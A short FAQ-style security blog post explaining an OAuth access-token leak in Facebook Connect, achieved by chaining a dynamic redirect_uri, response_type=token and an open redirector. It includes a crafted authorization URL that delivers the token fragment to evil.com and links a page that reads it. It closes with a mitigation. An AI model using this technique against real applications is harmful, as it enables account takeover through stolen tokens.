After seeing tons of tweets I decided to stop the panic and publish a short FAQ.
How does it work?
First of all it is a known Facebook Connect bug, other providers are not vulnerable (author claims they are?), because Connect allows you to replace response_type and redirect_uri with new values.
Let's change redirect_uri to some open redirector on the client's domain (we need to find it first, if there's no open redirect client is not vulnerable!) - CLIENT/redirect_me?url=http://evil.com
and response_type to "token". Crafted URL is:
facebook.com/oauth?redirect_uri=CLIENT%2Fredirect_me%3Furl%3Dhttp%3A%2F%2Fevil.com&response_type=token&client_id=1
Facebook redirects user to CLIENT/redirect_me?url=http://evil.com#access_token=123, CLIENT redirects user with 302 redirect to evil.com but browser preserves #fragment and loads http://evil.com/#access_token=123. (didn't know/expect it? welcome to web security! test it here):
Now location.hash can be sliced with Javascript, look at my malicious test page at http://homakov.github.io/fbleak.html
Is it a new bug?
Unfortunately, even being a real threat (quite poorly explained, but I'm not the one to judge) this is nothing new.
I wrote about it in Feb 2013 (hacking FB with oauth bugs "We used 2 bugs: dynamic redirect_uri and dynamic response_type parameter") then in my rants on OAuth2 future (+ FB>other-provider>client exploits) then mentioned how it can be used to steal signed_request (which is a 10 times worse vulnerability than this one), called it Achilles Heel of OAuth, and bunch of other authorization related posts.
Anyway, I'm glad the old problem gets huge attention again and even a logo (wait what?).
.jpg){kind=logo}
Is it going to be fixed?
Since it's nothing new, and Facebook refused to fix flexible redirect_uri long time ago, no, it is not going to be fixed. All you can do is to whitelist redirect_uri in the Advanced tab of your client settings:
